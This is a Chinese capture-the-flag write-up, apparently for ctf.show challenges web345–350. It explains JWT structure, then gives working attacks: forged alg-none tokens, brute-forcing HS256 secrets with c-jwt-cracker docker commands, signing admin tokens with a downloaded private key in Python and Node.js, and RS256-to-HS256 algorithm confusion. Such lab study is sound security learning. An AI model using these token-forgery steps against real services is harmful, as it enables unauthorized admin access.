web345

什么是jwt

jwt是一个开放标准,它定义的一种紧凑的 自包含的方式,用于所谓json对象在各方之间安全的传输信息.该信息可以被验证和信任,因为它是数字签名的.

使用场景

  • 一次性验证

    比如用户注册后需要发放一封邮件让其激活账户,通常邮件中只需要有一个链接,这个链接需要具备以下的特性:能够标识用户,该链接具有时效性(通常只允许几个小时内激活),不能被篡改其激活其他可能的账户..这种场景就和jwt的特性非常 的贴近,jwt的payload中固定的参数:iis签发这和exp过期时间正式为其准备的

  • restful api的无状态认证

    使用jwt来做restful api的身份认证也是值得推崇的一种使用方案.客户端和服务器共享secret;过期时间有服务端效验,客户端定时刷新;签名信息不可被更改,spring security oauth jwt 提供了一套完整的jwt认证体系

jwt结构

jwt由三部分构成,他们之间用远点(.)连接.这三部分分别是

  • Header
  • Payload
  • Signature

具体示例如下

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ

jwt的头部由两部分信息组成

  • type:声明类型,这里是jwt
  • alg:声明加密的算法 通常直接使用HMAC SHA256

完整的头部信息如下

{
"type":"jwt",
"alg":"HS256"
}

对头部信息进行base64编码得到第一部分信息

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

Payload

载荷就是存放有效信息的地方,它包含声明要求.声明有三种类型

  • registered claims:标准中注册的声明,这里有一组预定义的声明,他们不是强制的,但是推荐
  • public claims:公共的声明
  • private claims:私有的声明

标准中注册的声明

  • iss: jwt签发者
  • sub: jwt所面向的用户
  • aud: 接收jwt的一方
  • exp: jwt的过期时间,这个过期时间必须要大于签发时间
  • nbf: 定义在什么时间之前,该jwt都是不可用的
  • iat: jwt的签发时间
  • jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击

公共的声明:

公共的声明可以添加任何信息,一般添加用户的相关信息或者其他业务需要的必要信息,但是不建议添加敏感信息,因为该部分可以在客户端解密

私有的声明:

私有声明是提供者和消费者所共同定义的声明,一般不建议存放敏感信息,因为base64是对称解密的,意味着该部分信息可以归类为明文信息

对payload进行base64加密得到了jwt的第二部分内容

signature

jwt的第三部分是一个签证信息,这个签证信息由三部分组成:

  • header(base64)
  • payload(base64)
  • secret

第三部分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密凡是进行加盐secret组合加密,然后就构成了jwt的第三部分

注意

secret是保存在服务器端的,jwt的签发生成也是在服务器端的,secret就是用来进行jwt的签发和jwt的验证.所以它就是你服务端的私钥,在任何场景都不应该泄露出去.一旦客户端得知增secret,那么就意味着客户端可以自我签发jwt了

https://www.jianshu.com/p/4a124a10fcaf

题目

image-20220328150821999

image-20220328150828162

这里提示访问admin文件夹

要注意使用 url 访问网页时
/admin 表示访问 admin.php 文件
/admin/ 表示访问 admin/目录下的文件,默认是 index.php
很像文件夹,所以此处应该访问 /admin/

image-20220328150840662

cookie看着像jwt

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0A.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2NDg0NTY0OTksImV4cCI6MTY0ODQ2MzY5OSwibmJmIjoxNjQ4NDU2NDIyMjI5OSwic3ViIjoiYWRtaW4ifV0

image-20220328151007774

alg加密算法为none

sub为user改为admin重新登录下试试

image-20220328162550323

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.

image-20220328172517993

[{"iss":"admin","iat":1648459436,"exp":1648466636,"nbf":1648459436,"sub":"admin","jti":"8b158096b6e36731237170f44d95d21f"}]

合起来,很奇怪这里执行不成功

image-20220328175237361

前面删了才能执行成功,感觉是不是环境的问题

image-20220328175246153

web346

image-20220331162629981

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0ODcxNTE4MywiZXhwIjoxNjQ4NzIyMzgzLCJuYmYiOjE2NDg3MTUxODMsInN1YiI6InVzZXIiLCJqdGkiOiJkM2Y3YjhiOTA3YWE1M2UyZTA3MTlmOWY0MTQ3ZmFiYSJ9.Zyy2DOiFSao6aLvThffBR4ZYCShY9wLwN2rjelgn-3o

第一段

{"alg":"HS256","typ":"JWT"}

sh256加密

第二段

{"iss":"admin","iat":1648715183,"exp":1648722383,"nbf":1648715183,"sub":"user","jti":"d3f7b8b907aa53e2e0719f9f4147faba"}

前面算法保证了jwt在传输的过程中不被恶意用户修改,但是header中的alg字段可被修改为none,一些jwt库支持none算法,即使没有签名算法,当alg为none时后端不会进行签名校验,将alg修改为none之后,去掉jwt中的signature数据,只剩header.payload.(这里的.不是句号哦).然后提交到服务端即可

修改

{"alg":"None","typ":"JWT"}
eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0
{"iss":"admin","iat":1648715183,"exp":1648722383,"nbf":1648715183,"sub":"admin","jti":"d3f7b8b907aa53e2e0719f9f4147faba"}
eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0ODcxNTE4MywiZXhwIjoxNjQ4NzIyMzgzLCJuYmYiOjE2NDg3MTUxODMsInN1YiI6ImFkbWluIiwianRpIjoiZDNmN2I4YjkwN2FhNTNlMmUwNzE5ZjlmNDE0N2ZhYmEifQ
eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0ODcxNTE4MywiZXhwIjoxNjQ4NzIyMzgzLCJuYmYiOjE2NDg3MTUxODMsInN1YiI6ImFkbWluIiwianRpIjoiZDNmN2I4YjkwN2FhNTNlMmUwNzE5ZjlmNDE0N2ZhYmEifQ.

记得访问/admin/页面哦

image-20220331163435158

web347

image-20220404222258525

c-jwt-cracker

先安docker

docker build . -t jwtcrack
docker run -it --rm  jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0OTA4MTgyOSwiZXhwIjoxNjQ5MDg5MDI5LCJuYmYiOjE2NDkwODE4MjksInN1YiI6InVzZXIiLCJqdGkiOiJkNWM2Yjg5MTBjYjMzZmZkZTVkN2NlNzRiM2E1ZTllNiJ9.4SRvUVI8lQ_yfMrKsSVcjnQvFEojGt0LvXu4gkX4amY 1234567890

image-20220404224055707

这里定义密钥为数字快一点

image-20220404224214524

改一下拿去访问/admin/就好

image-20220404224205379

web348

docker run -it --rm  jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0OTA4MzM5OSwiZXhwIjoxNjQ5MDkwNTk5LCJuYmYiOjE2NDkwODMzOTksInN1YiI6InVzZXIiLCJqdGkiOiIwOTJlMTBhMzJlOTY2ZDY2NGM4MWMzM2QyMjlhMzY4ZSJ9.lLsYI7NGjbb4xdzmyR1YkPSgcksnBiNm4eWmVqQ2Q2U asdfghjklpoiuytrewqzxcvbnm0987654321

image-20220404224420522

image-20220404224444069

image-20220404224459271

web349

给了一个aap.js
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');

});

router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
})

image-20220405094524472

是rs256加密,有公钥和私钥,从app.py文件中可以看到从public/private.key读取了私钥

https://f86be22f-fd82-48a7-a764-23d8f76ecd98.challenge.ctf.show//private.key

试一下在这个目录下下载了私钥

image-20220405094815009

接着有两种方法,一是得到私钥和公钥解密加密.二是用私钥自己生成公钥

jwt.io网站解不了,用python了

# python3
import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.AH4YkjLWhtkoxco48abhQ7MUfxBgyfP3OffsS6cZmHtfLpVlv9t8bZAnW-CVbLkHfu4vzQI_OiPdBQP-a3xJIOq3hf0jsMAsijn-XKaaDZtv3cg4a0RvjpEHLYCN89KpigGHC0vtOb6OzffdmkPVN8vcYJby742vD_YhDDHw6pU

image-20220405101247457

这次是用post访问原始目录

自己安装node.js并安装jsonwebtoken库

npm install jsonwebtoken --save

运行node.js

node

传入下面的值,要在private.key目录运行node哦

const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('private.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
console.log(token)

image-20220405102051057

image-20220405102156452

web350

给了源码包,只有一个公钥

image-20220405102424298

image-20220405102355152

同样的加密

将 RS256 算法改为 HS256(非对称密码算法=>对称密码算法)

HS256算法使用密钥为所有消息进行签名和验证
而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证
如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名
由于攻击者有时可以获取公钥,因此,攻击者可以将头部中的算法修改为HS256,然后使用RSA公钥对数据进行签名
这样的话,后端代码使用RSA公钥+HS256算法进行签名验证

image-20220405102757993

记得替换一下原先目录下的公钥文件哦

image-20220405102802757

破解HS256(对称加密算法)密钥
如果HS256密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥,例如将密钥字符串用作PyJWT库示例代码中的密钥的时候情况就是如此。
然后,用蛮力方式对密钥进行猜解,具体方法很简单:如果密钥正确的话,解密就会成功;如果密钥错误的话,解密代码就会抛出异常。
此外,我们也可以使用PyJWT或John Ripper进行破解测试。
附录:相关工具
PyJWT库具体地址为:https://github.com/jpadilla/pyjwt。
>>> import jwt
>>> encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256') 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.4twFt5NiznN84AWoo1d7KO1T_yoc0Z6XOpOVswacPZg'
>>> jwt.decode(encoded, 'secret', algorithms=['HS256'])
{'some': 'payload'}